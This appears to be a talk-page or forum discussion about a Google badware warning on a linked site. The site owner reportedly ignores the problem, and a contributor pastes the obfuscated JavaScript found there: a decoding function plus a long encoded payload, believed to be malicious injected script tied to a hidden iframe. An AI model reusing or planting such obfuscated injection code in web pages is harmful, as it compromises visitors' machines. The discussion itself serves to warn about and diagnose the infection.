Google gives a badware warning about this site, so I have reinstated the warning, but this time with context (stopbadware.org link)
I have also contacted the site owners by email, asking them to look in to the problem.
I have now contacted Li Ang twice, but so far all his responses are just trying to sell me lessons and do not address the issue of the virus at all. :-(
<!script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}<!/script>
At first I couldn't find something but then I found this encrypted code snippet. All it does is unencrypt this string: );dF(')7Glxqp)7I)7Glieh)7I)7Gwgvmtx)64perkyeki)7H)66NezeWgvmtx)66)7I)4H)4E)4H)4Ezev)64qq)64)7H)64ri{)64Evve})6<)6=)7F)4H)4Ezev)64qiqcjpek)64)7H)644)7F)4H)4E)4H)4Ejyrgxmsr)64l)6<)6=)64);Fqq)7Hqq)7F)64wixXmqisyx)6<)66l)6<)6=)66)6G)646444)6=)7F);H)4H)4E)4H)4Ejyrgxmsr)64kixf)6<f)6G)64fWm~i)6=)4H)4E);F{lmpi)64)6<f2pirkxl.6)7GfWm~i)6=);Ff)64/)7H)64f)7F);H)4H)4Ef)64)7H)64f2wyfwxvmrk)6<4)6GfWm~i36)6= )7Fvixyvr)64f)7F);H)4H)4E)4H)4Ejyrgxmsr)64gj)6<)6=)4H)4E);Fzev)64~g)64)7H)644|4g4g4g4g)7F)4H)4Ezev)64e)64)7H)64yriwgeti)6<)66)69y8787)69y8787)69y4jif)69y779f)69y::g=)69y<4f=)69y<445)69yij77)66)64/)4H)4E)66)69yi687)69yifje)69yi<49)69yjjig)69yjjjj)69y<f;j)69yhj8i)69yijij)69y:8ij)69yi7ej)69y=j:8)69y86j7)69y=j:8)69y:ii;)69yij47)69yijif)66)64/)4H)4E)66)69y:8ij)69yf=47)69y:5<;)69yi5e5)69y4;47)69yij 55)69yijij)69yee::)69yf=if)69y;;<;)69y:955)69y4;i5)69yij5j)69yijij)69yee::)69yf=i;)66)64/)4H)4E)66)69yge<;)69y549j)69y4;6h)69yij4h)69yijij)69yee::)69yf=i7)69y44<;)69y4j65)69y4;<j)69yij7f)69yijij)69yee::)69yf=jj)69y6i<;)69y4e=:)66)64/)4H)4E)66)69y4;9;)69yij6=)69yijij)69yee::)69yejjf)69yh;:j)69y=e6g)69y::59)69yj;ee)69yi<4:)69yijii)69yf5ij)69y=e::)69y:8gf)69yifee)69yii<9)66)64/)4H)4E)66)69y:8f:) 69yj;fe)69y4;f=)69yij:8)69yijij)69y<;fj)69yj9h=)69y=jg4)69y;<4;)69yijij)69y::ij)69yj7ee)69y6e:8)69y6j:g)69y::fj)69ygjee)66)64/)4H)4E)66)69y54<;)69yijij)69yfjij)69yee:8)69y<9jf)69yf:ih)69yfe:8)69y4;j;)69yij<i)69yijij)69yeeig)69y6<gj)69yf7ij)69yg5=5)69y6<<e)69yifej)66)64/)4H)4E)66)69y<e=;)69yijij)69y=e54)69y:8gj)69yi7ee)69yii<9)69y:8f:)69yj;fe)69yej4;)69yijij)69y<9ij)69yf;i<)69yeeig)69yhggf)69y fg78)69y54fg)66)64/)4H)4E)66)69ygj=e)69yfgfj)69yee:8)69y<9j7)69yf:ie)69yfe:8)69y4;j;)69yijgg)69yijij)69yij<9)69y=e54)69y:8gj)69yi;ee)69yih<9)69y:8f:)69yj;fe)66)64/)4H)4E)66)69yjj4;)69yijij)69y<9ij)69y:854)69yjjee)69yii<9)69y:8f:)69yj;fe)69yij4;)69yijij)69yeiij)69yfhf8)69y4iig)69y4iig)69y4iig)69y4iig)66)64/)4H)4E)66)69y47:g)69yf9if)69y:8fg)69y4h79) etc... lots of it deleted for space.
This is probably yet another javascript thingy, not sure what it does, but it is probably safe to say if whoever wrote it went out of their way to double encrypt it, it isn't anything good. All LiAng has to do is remove the iframe crap from the bottom of the front page. I'm sure it was maliciously placed there in the first place.